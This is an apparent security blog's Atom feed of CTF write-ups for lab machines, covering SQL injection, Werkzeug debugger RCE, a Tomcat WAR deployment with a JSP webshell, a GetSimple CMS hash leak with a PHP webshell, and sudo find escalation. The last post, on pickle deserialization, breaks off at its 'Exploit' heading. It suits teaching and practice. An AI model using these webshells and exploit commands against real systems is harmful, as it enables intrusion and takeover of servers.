<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en"><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://zishanhack.com/blog/feed.xml" rel="self" type="application/atom+xml" /><link href="https://zishanhack.com/blog/" rel="alternate" type="text/html" hreflang="en" /><updated>2026-08-09T17:24:27+05:30</updated><id>https://zishanhack.com/blog/feed.xml</id><title type="html">ZishanHack</title><subtitle>Offensive security research, practical methodologies, bug bounty workflows, Active Directory notes, and hands-on cybersecurity writeups.</subtitle><author><name>Zishan Ahamed Thandar</name></author><entry><title type="html">Alpwned - SQLi to Werkzeug Debugger RCE on Alpine Linux</title><link href="https://zishanhack.com/blog/hackerdna/alpwned/" rel="alternate" type="text/html" title="Alpwned - SQLi to Werkzeug Debugger RCE on Alpine Linux" /><published>2026-07-28T00:00:00+05:30</published><updated>2026-07-28T00:00:00+05:30</updated><id>https://zishanhack.com/blog/hackerdna/alpwned</id><content type="html" xml:base="https://zishanhack.com/blog/hackerdna/alpwned/"><![CDATA[<h2 id="alpwned---ctf-writeup">Alpwned - CTF Writeup</h2>

<table>
  <tbody>
    <tr>
      <td><strong>Category:</strong> WEB</td>
      <td><strong>Flags:</strong> 2 (User + Root)</td>
    </tr>
  </tbody>
</table>

<p>Challenge: <a href="https://hackerdna.com">https://hackerdna.com</a></p>

<h2 id="contents">Contents</h2>

<ul>
  <li><a href="#reconnaissance">Reconnaissance</a></li>
  <li><a href="#sql-injection">SQL Injection</a></li>
  <li><a href="#dashboard--ssh-credentials">Dashboard &amp; SSH Credentials</a></li>
  <li><a href="#user-flag">User Flag</a></li>
  <li><a href="#werkzeug-debugger-rce">Werkzeug Debugger RCE</a></li>
  <li><a href="#root-flag">Root Flag</a></li>
</ul>

<h2 id="reconnaissance">Reconnaissance</h2>

<p>Nmap reveals two open ports:</p>

<ul>
  <li><strong>22</strong> - OpenSSH 10.0</li>
  <li><strong>80</strong> - Werkzeug httpd 3.1.3 (Python 3.12.11)</li>
</ul>

<p>The web app is a “Tech Corp” employee portal with a login page hinting <code class="language-plaintext highlighter-rouge">guest:guest</code> credentials.</p>

<h2 id="sql-injection">SQL Injection</h2>

<p>The login form is vulnerable to SQL injection. The query is built with f-strings:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">query</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"SELECT * FROM users WHERE username = '</span><span class="si">{</span><span class="n">username</span><span class="si">}</span><span class="s">' AND password = '</span><span class="si">{</span><span class="n">password</span><span class="si">}</span><span class="s">';"</span>
</code></pre></div></div>

<p>The app blocks <code class="language-plaintext highlighter-rouge">--</code>, <code class="language-plaintext highlighter-rouge">/*</code>, and <code class="language-plaintext highlighter-rouge">union</code> but a simple tautology bypass works:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-X</span> POST http://TARGET/login <span class="se">\</span>
  <span class="nt">--data-urlencode</span> <span class="s2">"username=admin' OR '1'='1"</span> <span class="se">\</span>
  <span class="nt">--data-urlencode</span> <span class="s2">"password=x"</span>
</code></pre></div></div>

<p>This redirects to <code class="language-plaintext highlighter-rouge">/dashboard</code> with a session cookie containing <code class="language-plaintext highlighter-rouge">role: admin</code>.</p>

<h2 id="dashboard--ssh-credentials">Dashboard &amp; SSH Credentials</h2>

<p>The admin dashboard displays a table of internal system credentials, including an active SSH entry:</p>

<table>
  <thead>
    <tr>
      <th>Field</th>
      <th>Value</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>User</td>
      <td>ctf</td>
    </tr>
    <tr>
      <td>Password</td>
      <td><code class="language-plaintext highlighter-rouge">nVqax6z9hjYesbGAQlSceueZPO2gh5a8t5XUYGQbTz8LmaWgwm</code></td>
    </tr>
    <tr>
      <td>Host</td>
      <td><code class="language-plaintext highlighter-rouge">prod-server-01.internal</code> (same IP)</td>
    </tr>
  </tbody>
</table>

<h2 id="user-flag">User Flag</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sshpass <span class="nt">-p</span> <span class="s1">'nVqax6z9hjYesbGAQlSceueZPO2gh5a8t5XUYGQbTz8LmaWgwm'</span> <span class="se">\</span>
  ssh ctf@TARGET <span class="s1">'cat /home/flag-user.txt'</span>
</code></pre></div></div>

<p><strong>User Flag:</strong> <code class="language-plaintext highlighter-rouge">5cb66b4a-5e82-4687-6b20-567ecb42f69a</code></p>

<p>The server is running <strong>Alpine Linux v3.22</strong> (hence “Alpwned”).</p>

<h2 id="werkzeug-debugger-rce">Werkzeug Debugger RCE</h2>

<p>The Flask app runs with <code class="language-plaintext highlighter-rouge">debug=True</code>, enabling the Werkzeug interactive debugger. The debugger is protected by a PIN and a host trust check.</p>

<h3 id="bypassing-host-trust">Bypassing Host Trust</h3>

<p>The debugger only accepts requests with <code class="language-plaintext highlighter-rouge">Host: localhost</code> or <code class="language-plaintext highlighter-rouge">Host: 127.0.0.1</code>. This is trivially bypassed by setting the header:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-H</span> <span class="s2">"Host: localhost"</span> http://TARGET/console
</code></pre></div></div>

<h3 id="computing-the-pin">Computing the PIN</h3>

<p>The PIN is generated from:</p>
<ul>
  <li><strong>Public bits</strong>: username (<code class="language-plaintext highlighter-rouge">root</code>), module (<code class="language-plaintext highlighter-rouge">flask.app</code>), app name (<code class="language-plaintext highlighter-rouge">Flask</code>), Flask’s app.py path</li>
  <li><strong>Private bits</strong>: MAC address integer (<code class="language-plaintext highlighter-rouge">uuid.getnode()</code>) and machine ID (boot_id + cgroup)</li>
</ul>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Gather from the target:
</span><span class="n">boot_id</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">'/proc/sys/kernel/random/boot_id'</span><span class="p">).</span><span class="n">read</span><span class="p">().</span><span class="n">strip</span><span class="p">()</span>
<span class="c1"># f245b383-685b-448d-8f0a-b55976f73ab8
</span><span class="n">cgroup</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">'/proc/self/cgroup'</span><span class="p">).</span><span class="n">readline</span><span class="p">().</span><span class="n">strip</span><span class="p">().</span><span class="n">rpartition</span><span class="p">(</span><span class="s">'/'</span><span class="p">)[</span><span class="mi">2</span><span class="p">]</span>
<span class="c1"># db436debeaf04b33b6b49c844bf6f356-3088728595
</span><span class="n">machine_id</span> <span class="o">=</span> <span class="n">boot_id</span> <span class="o">+</span> <span class="n">cgroup</span>
<span class="n">node</span> <span class="o">=</span> <span class="nb">str</span><span class="p">(</span><span class="n">uuid</span><span class="p">.</span><span class="n">getnode</span><span class="p">())</span>  <span class="c1"># 11375925439490
</span></code></pre></div></div>

<p>Using these values, the PIN is computed: <strong>258-593-142</strong></p>

<h3 id="authentication--rce">Authentication &amp; RCE</h3>

<p>Extract the SECRET from the error page, then authenticate and execute Python code as root:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Authenticate and get PIN cookie</span>
curl <span class="nt">-H</span> <span class="s2">"Host: localhost"</span> <span class="se">\</span>
  <span class="s2">"http://TARGET/console?__debugger__=yes&amp;cmd=pinauth&amp;pin=258-593-142&amp;s=x4OYLpzbNWnZIKXo3xk1"</span>

<span class="c"># Execute commands as root</span>
curl <span class="nt">-G</span> <span class="s2">"http://TARGET/console"</span> <span class="se">\</span>
  <span class="nt">-H</span> <span class="s2">"Host: localhost"</span> <span class="se">\</span>
  <span class="nt">-b</span> <span class="s2">"__wzdc30a8aa28b708a39e0ba=&lt;hash&gt;"</span> <span class="se">\</span>
  <span class="nt">--data-urlencode</span> <span class="s2">"__debugger__=yes"</span> <span class="se">\</span>
  <span class="nt">--data-urlencode</span> <span class="s2">"cmd=__import__('os').popen('cat /root/flag-root.txt').read()"</span> <span class="se">\</span>
  <span class="nt">--data-urlencode</span> <span class="s2">"frm=0"</span> <span class="se">\</span>
  <span class="nt">--data-urlencode</span> <span class="s2">"s=x4OYLpzbNWnZIKXo3xk1"</span>
</code></pre></div></div>

<h2 id="root-flag">Root Flag</h2>

<p><strong>Root Flag:</strong> <code class="language-plaintext highlighter-rouge">4158d639-b58b-4d27-7056-1b93a2c59e63</code></p>]]></content><author><name>Zishan Ahamed Thandar</name></author><category term="hackerdna" /><category term="web" /><category term="ctf" /><category term="hackerdna" /><category term="sqli" /><category term="flask" /><category term="werkzeug" /><category term="debugger-rce" /><category term="privesc" /><category term="alpine" /><summary type="html"><![CDATA[CTF writeup exploiting SQL injection in a Flask app to reach an admin dashboard, then using the Werkzeug debugger console for root RCE.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://zishanhack.com/blog/assets/images/og-image.jpg" /><media:content medium="image" url="https://zishanhack.com/blog/assets/images/og-image.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Compromised 1 - Tomcat Default Credentials to WAR Deploy RCE</title><link href="https://zishanhack.com/blog/hackerdna/compromised-1/" rel="alternate" type="text/html" title="Compromised 1 - Tomcat Default Credentials to WAR Deploy RCE" /><published>2026-07-28T00:00:00+05:30</published><updated>2026-07-28T00:00:00+05:30</updated><id>https://zishanhack.com/blog/hackerdna/compromised-1</id><content type="html" xml:base="https://zishanhack.com/blog/hackerdna/compromised-1/"><![CDATA[<h2 id="compromised-1---ctf-writeup">Compromised 1 - CTF Writeup</h2>

<table>
  <tbody>
    <tr>
      <td><strong>Category:</strong> WEB</td>
      <td><strong>Flags:</strong> 2 (User + Root)</td>
    </tr>
  </tbody>
</table>

<p>Challenge: <a href="https://hackerdna.com">https://hackerdna.com</a></p>

<h2 id="contents">Contents</h2>

<ul>
  <li><a href="#reconnaissance">Reconnaissance</a></li>
  <li><a href="#exploitation">Exploitation</a></li>
  <li><a href="#privilege-escalation">Privilege Escalation</a></li>
</ul>

<h2 id="reconnaissance">Reconnaissance</h2>

<p>Nmap scan reveals two open ports:</p>

<ul>
  <li><strong>80</strong> - HTTP (Apache 2.4.65) - Static “Server is Running” page</li>
  <li><strong>8080</strong> - HTTP (Apache Tomcat 9.0.96) - Default Tomcat welcome page</li>
</ul>

<p>Tomcat 9.0.96 has the Manager webapp at <code class="language-plaintext highlighter-rouge">/manager/html</code> with HTTP Basic Authentication.</p>

<h2 id="exploitation">Exploitation</h2>

<h3 id="step-1---default-credentials">Step 1 - Default Credentials</h3>

<p>The Tomcat Manager login accepts default credentials:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-u</span> <span class="s2">"admin:admin"</span> <span class="s2">"http://TARGET:8080/manager/html"</span>
<span class="c"># HTTP 200 - Access granted</span>
</code></pre></div></div>

<p>The admin user has the <code class="language-plaintext highlighter-rouge">manager-gui</code> role, granting access to the HTML management interface.</p>

<h3 id="step-2---deploy-malicious-war">Step 2 - Deploy Malicious WAR</h3>

<p>Create a JSP webshell and package it as a WAR file:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 <span class="nt">-c</span> <span class="s2">"
import zipfile
with zipfile.ZipFile('cmd.war', 'w', zipfile.ZIP_DEFLATED) as war:
    war.writestr('cmd.jsp', '''&lt;%@ page import=</span><span class="se">\"</span><span class="s2">java.io.*</span><span class="se">\"</span><span class="s2"> %&gt;
&lt;%
String cmd = request.getParameter(</span><span class="se">\"</span><span class="s2">cmd</span><span class="se">\"</span><span class="s2">);
if (cmd != null) {
    Process p = Runtime.getRuntime().exec(new String[]{</span><span class="se">\"</span><span class="s2">/bin/sh</span><span class="se">\"</span><span class="s2">, </span><span class="se">\"</span><span class="s2">-c</span><span class="se">\"</span><span class="s2">, cmd});
    BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
    String line;
    while ((line = br.readLine()) != null) {
        out.println(line);
    }
}
%&gt;''')
</span></code></pre></div></div>

<p>Extract the CSRF nonce from the manager page and upload the WAR:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">JSESSIONID</span><span class="o">=</span><span class="s2">"..."</span>
<span class="nv">NONCE</span><span class="o">=</span><span class="s2">"..."</span>

curl <span class="nt">-u</span> <span class="s2">"admin:admin"</span> <span class="se">\</span>
  <span class="nt">-F</span> <span class="s2">"deployWar=@cmd.war;filename=cmd.war"</span> <span class="se">\</span>
  <span class="nt">-F</span> <span class="s2">"deploy=Deploy"</span> <span class="se">\</span>
  <span class="nt">-F</span> <span class="s2">"path=/cmd"</span> <span class="se">\</span>
  <span class="nt">-F</span> <span class="s2">"org.apache.catalina.filters.CSRF_NONCE=</span><span class="nv">$NONCE</span><span class="s2">"</span> <span class="se">\</span>
  <span class="s2">"http://TARGET:8080/manager/html/upload"</span>
</code></pre></div></div>

<h3 id="step-3---remote-code-execution">Step 3 - Remote Code Execution</h3>

<p>Access the deployed webshell:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-s</span> <span class="s2">"http://TARGET:8080/cmd/cmd.jsp?cmd=id"</span>
<span class="c"># uid=1000(hacker) gid=1000(hacker) groups=1000(hacker)</span>
</code></pre></div></div>

<h3 id="step-4---user-flag">Step 4 - User Flag</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-s</span> <span class="s2">"http://TARGET:8080/cmd/cmd.jsp?cmd=cat%20/home/flag-user.txt"</span>
<span class="c"># b457739f-aa29-e795-02a4-647e25b2a7ff</span>
</code></pre></div></div>

<p><strong>User Flag:</strong> <code class="language-plaintext highlighter-rouge">b457739f-aa29-e795-02a4-647e25b2a7ff</code></p>

<h2 id="privilege-escalation">Privilege Escalation</h2>

<h3 id="sudo-enumeration">Sudo Enumeration</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-s</span> <span class="s2">"http://TARGET:8080/cmd/cmd.jsp?cmd=sudo%20-l"</span>
<span class="c"># User hacker may run the following commands:</span>
<span class="c">#     (ALL) NOPASSWD: /usr/bin/find</span>
</code></pre></div></div>

<h3 id="gtfobins---find">GTFOBins - find</h3>

<p>The <code class="language-plaintext highlighter-rouge">find</code> binary with NOPASSWD sudo allows executing any command as root via the <code class="language-plaintext highlighter-rouge">-exec</code> flag:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-s</span> <span class="s2">"http://TARGET:8080/cmd/cmd.jsp?cmd=sudo%20/usr/bin/find%20-exec%20cat%20/root/flag-root.txt%20%5C%3B%20-quit"</span>
<span class="c"># 28bc8d09-1a64-4a4b-3ec2-5eedbff89857</span>
</code></pre></div></div>

<p><strong>Root Flag:</strong> <code class="language-plaintext highlighter-rouge">28bc8d09-1a64-4a4b-3ec2-5eedbff89857</code></p>

<h2 id="how-the-attack-works">How the Attack Works</h2>

<p>Apache Tomcat’s <strong>Manager</strong> webapp is a powerful administrative interface: it can deploy, start, stop, and undeploy applications. That feature set is exactly what makes it dangerous. The Manager authenticates with HTTP Basic over the management port, and in this challenge the deployment accepted the vendor-default <code class="language-plaintext highlighter-rouge">admin:admin</code> credentials. Once inside, the standard Tomcat deployment feature becomes remote code execution — a WAR file is just a ZIP archive, and a JSP page inside it is executed by the container as soon as it is requested.</p>

<p>The root escalation uses a classic <strong>GTFOBins</strong> pattern. <code class="language-plaintext highlighter-rouge">sudo -l</code> exposed <code class="language-plaintext highlighter-rouge">(ALL) NOPASSWD: /usr/bin/find</code>. The <code class="language-plaintext highlighter-rouge">find</code> binary supports <code class="language-plaintext highlighter-rouge">-exec</code>, which runs any command it is given, so a tool that is meant to search files becomes a wrapper for arbitrary root command execution.</p>

<h2 id="key-takeaways">Key Takeaways</h2>

<ul>
  <li><strong>Change default credentials immediately.</strong> Tomcat ships with documented default users and roles. Leave <code class="language-plaintext highlighter-rouge">admin:admin</code> in place and a management interface is a one-command foothold.</li>
  <li><strong>Never expose management interfaces.</strong> The Manager and Host Manager webapps should be bound to localhost or a management VLAN, never the public internet.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">NOPASSWD</code> + a binary that can execute arguments is root.</strong> Review <code class="language-plaintext highlighter-rouge">sudo</code> rules against GTFOBins. <code class="language-plaintext highlighter-rouge">find -exec</code>, <code class="language-plaintext highlighter-rouge">vim</code>, <code class="language-plaintext highlighter-rouge">less</code>, <code class="language-plaintext highlighter-rouge">git</code>, and scripting interpreters all become arbitrary command execution under sudo.</li>
  <li><strong>CSRF tokens exist for a reason.</strong> The Manager webapp requires a nonce for state-changing requests — a small mitigation that raises the bar for blind CSRF-style attacks.</li>
</ul>]]></content><author><name>Zishan Ahamed Thandar</name></author><category term="hackerdna" /><category term="web" /><category term="ctf" /><category term="hackerdna" /><category term="tomcat" /><category term="rce" /><category term="war-deployment" /><category term="sudo" /><category term="privesc" /><category term="gtfoBins" /><summary type="html"><![CDATA[CTF writeup exploiting default admin:admin credentials on Apache Tomcat 9.0.96 Manager to deploy a WAR file for RCE, then privesc via sudo find.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://zishanhack.com/blog/assets/images/og-image.jpg" /><media:content medium="image" url="https://zishanhack.com/blog/assets/images/og-image.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Hidden CMS Breach - GetSimple Unauthenticated Leak to RCE</title><link href="https://zishanhack.com/blog/hackerdna/hidden-cms-breach/" rel="alternate" type="text/html" title="Hidden CMS Breach - GetSimple Unauthenticated Leak to RCE" /><published>2026-07-28T00:00:00+05:30</published><updated>2026-07-28T00:00:00+05:30</updated><id>https://zishanhack.com/blog/hackerdna/hidden-cms-breach</id><content type="html" xml:base="https://zishanhack.com/blog/hackerdna/hidden-cms-breach/"><![CDATA[<h2 id="hidden-cms-breach---ctf-writeup">Hidden CMS Breach - CTF Writeup</h2>

<table>
  <tbody>
    <tr>
      <td><strong>Category:</strong> WEB</td>
      <td><strong>Flags:</strong> 2 (User + Root)</td>
    </tr>
  </tbody>
</table>

<p>Challenge: <a href="https://hackerdna.com">https://hackerdna.com</a></p>

<h2 id="contents">Contents</h2>

<ul>
  <li><a href="#reconnaissance">Reconnaissance</a></li>
  <li><a href="#exploitation">Exploitation</a></li>
  <li><a href="#privilege-escalation">Privilege Escalation</a></li>
</ul>

<h2 id="reconnaissance">Reconnaissance</h2>

<p>Nmap scan reveals a single open port:</p>

<ul>
  <li><strong>80</strong> - HTTP (nginx 1.24.0)</li>
</ul>

<p>The web page displays a simple ASCII art welcome banner with mission instructions:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Target: this server
Your mission:
  [1] Your mission starts here
  [2] Obtain the user flag located in this server at /home/flag_user.txt
  [3] Escalate privileges to root access
  [4] Capture the root flag at /root/flag_root.txt
</code></pre></div></div>

<p>Checking <code class="language-plaintext highlighter-rouge">robots.txt</code> reveals critical information:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code># Hostname: http://getsimple.hdna
User-agent: *
Disallow: /new_website/
</code></pre></div></div>

<p>The hostname <code class="language-plaintext highlighter-rouge">getsimple.hdna</code> strongly hints at <strong>GetSimple CMS</strong>. The <code class="language-plaintext highlighter-rouge">/new_website/</code> directory is blocked from crawlers but accessible directly. Fuzzing confirms the admin panel at <code class="language-plaintext highlighter-rouge">/new_website/admin/</code>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-s</span> http://TARGET/new_website/admin/
<span class="c"># GetSimple CTF - Login Page (v3.3.16)</span>
</code></pre></div></div>

<h2 id="exploitation">Exploitation</h2>

<h3 id="step-1---information-disclosure-cve-2014-8722">Step 1 - Information Disclosure (CVE-2014-8722)</h3>

<p>GetSimple CMS 3.3.16 is vulnerable to <strong>CVE-2014-8722</strong> — an information disclosure that exposes user data and API keys via direct file access without authentication. The admin’s password hash is stored at <code class="language-plaintext highlighter-rouge">/data/users/&lt;username&gt;.xml</code>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-s</span> http://TARGET/new_website/data/users/admin.xml
</code></pre></div></div>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?xml version="1.0" encoding="UTF-8"?&gt;</span>
<span class="nt">&lt;item&gt;</span>
  <span class="nt">&lt;USR&gt;</span>admin<span class="nt">&lt;/USR&gt;</span>
  <span class="nt">&lt;PWD&gt;</span>34391d961419bb65a1e8e2bb7f95581f35971238<span class="nt">&lt;/PWD&gt;</span>
  <span class="nt">&lt;EMAIL&gt;</span>admin@getsimple.hdna<span class="nt">&lt;/EMAIL&gt;</span>
  <span class="nt">&lt;HTMLEDITOR&gt;</span>1<span class="nt">&lt;/HTMLEDITOR&gt;</span>
  <span class="nt">&lt;TIMEZONE&gt;&lt;/TIMEZONE&gt;</span>
  <span class="nt">&lt;LANG&gt;</span>en_US<span class="nt">&lt;/LANG&gt;</span>
<span class="nt">&lt;/item&gt;</span>
</code></pre></div></div>

<h3 id="step-2---crack-password-hash">Step 2 - Crack Password Hash</h3>

<p>The extracted hash <code class="language-plaintext highlighter-rouge">34391d961419bb65a1e8e2bb7f95581f35971238</code> is a raw SHA1. Using John the Ripper with a common password wordlist:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s1">'34391d961419bb65a1e8e2bb7f95581f35971238'</span> <span class="o">&gt;</span> /tmp/hash.txt
john <span class="nt">--format</span><span class="o">=</span>raw-sha1 <span class="nt">--wordlist</span><span class="o">=</span>/usr/share/wordlists/rockyou.txt /tmp/hash.txt
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>1234yellow       (?)
</code></pre></div></div>

<p><strong>Admin credentials:</strong> <code class="language-plaintext highlighter-rouge">admin</code> / <code class="language-plaintext highlighter-rouge">1234yellow</code></p>

<h3 id="step-3---login-and-theme-editor-rce">Step 3 - Login and Theme Editor RCE</h3>

<p>Log in to the admin panel and navigate to the <strong>Theme Editor</strong> (<code class="language-plaintext highlighter-rouge">theme-edit.php</code>). The Innovation theme’s <code class="language-plaintext highlighter-rouge">template.php</code> is editable. Inject a PHP webshell at the top of the file:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span> <span class="k">if</span><span class="p">(</span><span class="k">isset</span><span class="p">(</span><span class="nv">$_REQUEST</span><span class="p">[</span><span class="s1">'cmd'</span><span class="p">])){</span><span class="nb">passthru</span><span class="p">(</span><span class="nv">$_REQUEST</span><span class="p">[</span><span class="s1">'cmd'</span><span class="p">]);}</span><span class="cp">?&gt;</span>
</code></pre></div></div>

<p>Save via POST with the CSRF nonce:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-s</span> <span class="nt">-X</span> POST <span class="s2">"http://TARGET/new_website/admin/theme-edit.php?t=Innovation&amp;f=template.php"</span> <span class="se">\</span>
  <span class="nt">-b</span> cookies.txt <span class="se">\</span>
  <span class="nt">-d</span> <span class="s2">"nonce=NONCE_VALUE&amp;content=PAYLOAD&amp;edited_file=Innovation/template.php&amp;submitsave=Save+Changes"</span>
</code></pre></div></div>

<p>Execute commands through the injected webshell on the main site:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-s</span> <span class="s2">"http://TARGET/new_website/index.php?cmd=id"</span>
<span class="c"># uid=100(nginx) gid=101(nginx) groups=82(www-data),101(nginx),101(nginx)</span>
</code></pre></div></div>

<h3 id="step-4---user-flag">Step 4 - User Flag</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-s</span> <span class="s2">"http://TARGET/new_website/index.php?cmd=cat%20/home/flag_user.txt"</span>
<span class="c"># 9688df73-41f4-4899-bac2-2753dd45ba79</span>
</code></pre></div></div>

<p><strong>User Flag:</strong> <code class="language-plaintext highlighter-rouge">9688df73-41f4-4899-bac2-2753dd45ba79</code></p>

<h2 id="privilege-escalation">Privilege Escalation</h2>

<h3 id="sudo-enumeration">Sudo Enumeration</h3>

<p>Running <code class="language-plaintext highlighter-rouge">sudo -l</code> reveals a NOPASSWD sudo rule for the <code class="language-plaintext highlighter-rouge">find</code> binary:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-s</span> <span class="s2">"http://TARGET/new_website/index.php?cmd=sudo%20-l"</span>
<span class="c"># User nginx may run the following commands on ip-10-0-1-65:</span>
<span class="c">#     (root) NOPASSWD: /usr/bin/find</span>
</code></pre></div></div>

<h3 id="gtfobins---find">GTFOBins - find</h3>

<p>The <code class="language-plaintext highlighter-rouge">find</code> binary can be abused to spawn a root shell or execute arbitrary commands as root. Using the <code class="language-plaintext highlighter-rouge">-exec</code> flag:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-s</span> <span class="s2">"http://TARGET/new_website/index.php?cmd=sudo%20find%20.%20-exec%20cat%20/root/flag_root.txt%20%5C;%20-quit"</span>
<span class="c"># b114d2e4-512b-4eae-8350-d2e47047d65e</span>
</code></pre></div></div>

<p><strong>Root Flag:</strong> <code class="language-plaintext highlighter-rouge">b114d2e4-512b-4eae-8350-d2e47047d65e</code></p>

<h2 id="how-the-attack-works">How the Attack Works</h2>

<p>GetSimple CMS 3.3.16 is vulnerable to <strong>CVE-2014-8722</strong>, an unauthenticated information disclosure. The admin user database lives in XML files under <code class="language-plaintext highlighter-rouge">/data/users/</code>, and the vulnerable build served those files directly to anyone who requested the path — no session or authentication required. The XML stored the admin password as an <strong>unsalted SHA1</strong> hash, which makes it trivial to brute-force with a wordlist like <code class="language-plaintext highlighter-rouge">rockyou.txt</code>; <code class="language-plaintext highlighter-rouge">john --format=raw-sha1</code> recovered the plaintext <code class="language-plaintext highlighter-rouge">1234yellow</code> almost instantly because unsalted fast hashes can be computed billions of times per second.</p>

<p>The second stage uses a standard CMS feature as the entry point. GetSimple’s <strong>Theme Editor</strong> lets administrators edit template PHP files and saves them to disk. Logged in with the cracked credentials, injecting <code class="language-plaintext highlighter-rouge">passthru()</code> into <code class="language-plaintext highlighter-rouge">template.php</code> turns a cosmetic editor into a persistent web shell served from the main site.</p>

<h2 id="key-takeaways">Key Takeaways</h2>

<ul>
  <li><strong>Never store passwords as unsalted fast hashes.</strong> Use a slow, salted password hash (bcrypt, scrypt, Argon2id). An unsalted SHA1 hash of a weak password survives milliseconds against a GPU cluster.</li>
  <li><strong>Update CMS software.</strong> CVE-2014-8722 was patched in 2014; running a version from a decade ago guarantees known-disclosure and RCE chains.</li>
  <li><strong>Treat “legitimate” admin features as attack surface.</strong> Theme editors, plugin installers, and file managers that write to the webroot are RCE when credentials are weak.</li>
  <li><strong>Combine file disclosure with user information.</strong> The <code class="language-plaintext highlighter-rouge">robots.txt</code> hint (<code class="language-plaintext highlighter-rouge">/new_website/</code> and the <code class="language-plaintext highlighter-rouge">getsimple.hdna</code> hostname) plus the leak is a realistic recon-to-root chain: enumerate, read config, crack a hash, execute.</li>
</ul>]]></content><author><name>Zishan Ahamed Thandar</name></author><category term="hackerdna" /><category term="web" /><category term="ctf" /><category term="hackerdna" /><category term="getsimple-cms" /><category term="cms" /><category term="information-disclosure" /><category term="rce" /><category term="theme-editor" /><category term="webshell" /><category term="sudo" /><category term="privesc" /><category term="gtfoBins" /><summary type="html"><![CDATA[CTF writeup exploiting a GetSimple CMS 3.3.16 info disclosure to extract admin credentials, then RCE via theme editor webshell and privesc with sudo find.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://zishanhack.com/blog/assets/images/og-image.jpg" /><media:content medium="image" url="https://zishanhack.com/blog/assets/images/og-image.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Pickle Jar - Python Pickle Deserialization to Sudo RCE</title><link href="https://zishanhack.com/blog/hackerdna/pickle-jar/" rel="alternate" type="text/html" title="Pickle Jar - Python Pickle Deserialization to Sudo RCE" /><published>2026-07-28T00:00:00+05:30</published><updated>2026-07-28T00:00:00+05:30</updated><id>https://zishanhack.com/blog/hackerdna/pickle-jar</id><content type="html" xml:base="https://zishanhack.com/blog/hackerdna/pickle-jar/"><![CDATA[<h2 id="pickle-jar---ctf-writeup">Pickle Jar - CTF Writeup</h2>

<table>
  <tbody>
    <tr>
      <td><strong>Category:</strong> WEB</td>
      <td><strong>Flags:</strong> 2 (User + Root)</td>
    </tr>
  </tbody>
</table>

<p>Challenge: <a href="https://hackerdna.com">https://hackerdna.com</a></p>

<h2 id="contents">Contents</h2>

<ul>
  <li><a href="#reconnaissance">Reconnaissance</a></li>
  <li><a href="#pickle-deserialization-rce">Pickle Deserialization RCE</a></li>
  <li><a href="#user-flag">User Flag</a></li>
  <li><a href="#privilege-escalation">Privilege Escalation</a></li>
  <li><a href="#root-flag">Root Flag</a></li>
</ul>

<h2 id="reconnaissance">Reconnaissance</h2>

<p>Port 80 - nginx proxying to a Python Flask “DataVault Backup Management Portal” that accepts <code class="language-plaintext highlighter-rouge">.pkl</code> (pickle) files for “configuration restore”.</p>

<h2 id="pickle-deserialization-rce">Pickle Deserialization RCE</h2>

<p>The <code class="language-plaintext highlighter-rouge">/upload</code> endpoint calls <code class="language-plaintext highlighter-rouge">pickle.loads()</code> on user-supplied data without any sanitization. Python pickle is inherently insecure — deserializing untrusted data executes arbitrary code.</p>

<h3 id="exploit">Exploit</h3>

